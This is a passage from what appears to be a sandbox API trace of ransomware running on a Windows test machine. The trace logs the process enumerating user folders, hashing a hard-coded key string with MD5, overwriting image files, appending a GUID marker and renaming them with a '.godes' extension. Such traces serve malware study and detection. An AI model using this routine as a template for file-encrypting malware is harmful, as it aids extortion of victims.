(in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.569] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.569] PathFindFileNameW (pszPath="") returned="" [0115.569] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\Ti8zEuhb9G6\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f021060, ftCreationTime.dwHighDateTime=0x1d4c5f9, ftLastAccessTime.dwLowDateTime=0x6b0e4260, ftLastAccessTime.dwHighDateTime=0x1d4d4b6, ftLastWriteTime.dwLowDateTime=0x6b0e4260, ftLastWriteTime.dwHighDateTime=0x1d4d4b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.570] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f021060, ftCreationTime.dwHighDateTime=0x1d4c5f9, ftLastAccessTime.dwLowDateTime=0x6b0e4260, ftLastAccessTime.dwHighDateTime=0x1d4d4b6, ftLastWriteTime.dwLowDateTime=0x6b0e4260, ftLastWriteTime.dwHighDateTime=0x1d4d4b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.570] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57d34a0, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0xa6802ed0, ftLastAccessTime.dwHighDateTime=0x1d4c859, ftLastWriteTime.dwLowDateTime=0xa6802ed0, ftLastWriteTime.dwHighDateTime=0x1d4c859, nFileSizeHigh=0x0, nFileSizeLow=0x59ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SqhwCUV_7QQ.png", cAlternateFileName="SQHWCU~1.PNG")) returned 1 [0115.570] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\Ti8zEuhb9G6\\SqhwCUV_7QQ.png") returned=".png" [0115.570] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\Ti8zEuhb9G6\\SqhwCUV_7QQ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\ti8zeuhb9g6\\sqhwcuv_7qq.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.570] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=22986) returned 1 [0115.570] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.572] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x59a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.572] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.573] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x59ca, lpOverlapped=0x0) returned 1 [0115.574] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.574] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.574] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.574] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740f38) returned 1 [0115.575] CryptCreateHash (in: hProv=0x740f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.575] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.575] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.575] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.575] GetLastError () returned 0x0 [0115.575] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.575] CryptReleaseContext (hProv=0x740f38, dwFlags=0x0) returned 1 [0115.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0115.575] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0115.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.575] WriteFile (in: hFile=0x624, lpBuffer=0x3325120*, nNumberOfBytesToWrite=0x59c5, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3325120*, lpNumberOfBytesWritten=0x3b2fb24*=0x59c5, lpOverlapped=0x0) returned 1 [0115.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3325120 | out: hHeap=0x660000) returned 1 [0115.576] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x59ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.576] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.576] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.576] CloseHandle (hObject=0x624) returned 1 [0115.577] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\Ti8zEuhb9G6\\SqhwCUV_7QQ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\ti8zeuhb9g6\\sqhwcuv_7qq.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\Ti8zEuhb9G6\\SqhwCUV_7QQ.png.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\ti8zeuhb9g6\\sqhwcuv_7qq.png.godes")) returned 1 [0115.578] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efd2cf0, ftCreationTime.dwHighDateTime=0x1d4cdd1, ftLastAccessTime.dwLowDateTime=0x5c63d9b0, ftLastAccessTime.dwHighDateTime=0x1d4cbaf, ftLastWriteTime.dwLowDateTime=0x5c63d9b0, ftLastWriteTime.dwHighDateTime=0x1d4cbaf, nFileSizeHigh=0x0, nFileSizeLow=0x7ad6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ydXSSVPNKJrpO.gif", cAlternateFileName="YDXSSV~1.GIF")) returned 1 [0115.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x106) returned 0x331f138 [0115.578] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\Ti8zEuhb9G6\\ydXSSVPNKJrpO.gif") returned=".gif" [0115.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\Ti8zEuhb9G6\\ydXSSVPNKJrpO.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\ti8zeuhb9g6\\ydxssvpnkjrpo.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.578] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=31446) returned 1 [0115.578] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.580] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7ab0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.580] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0115.582] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x7ad6, lpOverlapped=0x0) returned 1 [0115.582] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0115.582] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.582] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.582] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740f38) returned 1 [0115.583] CryptCreateHash (in: hProv=0x740f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.583] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.583] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0115.583] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.583] GetLastError () returned 0x0 [0115.583] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.583] CryptReleaseContext (hProv=0x740f38, dwFlags=0x0) returned 1 [0115.584] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7ad6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0115.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0115.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0115.584] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.584] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.584] CloseHandle (hObject=0x624) returned 1 [0115.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x3236620 [0115.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e0) returned 0x331e748 [0115.585] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\Ti8zEuhb9G6\\ydXSSVPNKJrpO.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\ti8zeuhb9g6\\ydxssvpnkjrpo.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\Ti8zEuhb9G6\\ydXSSVPNKJrpO.gif.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\ti8zeuhb9g6\\ydxssvpnkjrpo.gif.godes")) returned 1 [0115.586] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efd2cf0, ftCreationTime.dwHighDateTime=0x1d4cdd1, ftLastAccessTime.dwLowDateTime=0x5c63d9b0, ftLastAccessTime.dwHighDateTime=0x1d4cbaf, ftLastWriteTime.dwLowDateTime=0x5c63d9b0, ftLastWriteTime.dwHighDateTime=0x1d4cbaf, nFileSizeHigh=0x0, nFileSizeLow=0x7ad6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ydXSSVPNKJrpO.gif", cAlternateFileName="YDXSSV~1.GIF")) returned 0 [0115.586] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.586] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.587] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.587] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\") returned="Search\\" [0115.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321858 [0115.587] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0115.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741048 [0115.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321858 | out: hHeap=0x660000) returned 1 [0115.587] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0115.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0115.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741048 | out: hHeap=0x660000) returned 1 [0115.587] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0115.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0115.587] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0115.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0115.587] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0115.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0115.587] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0115.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.587] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.587] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.587] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.587] PathFindFileNameW (pszPath="") returned="" [0115.588] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.588] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.589] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.589] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0115.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0115.589] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x3236620 [0115.589] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.589] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0115.590] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0115.591] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 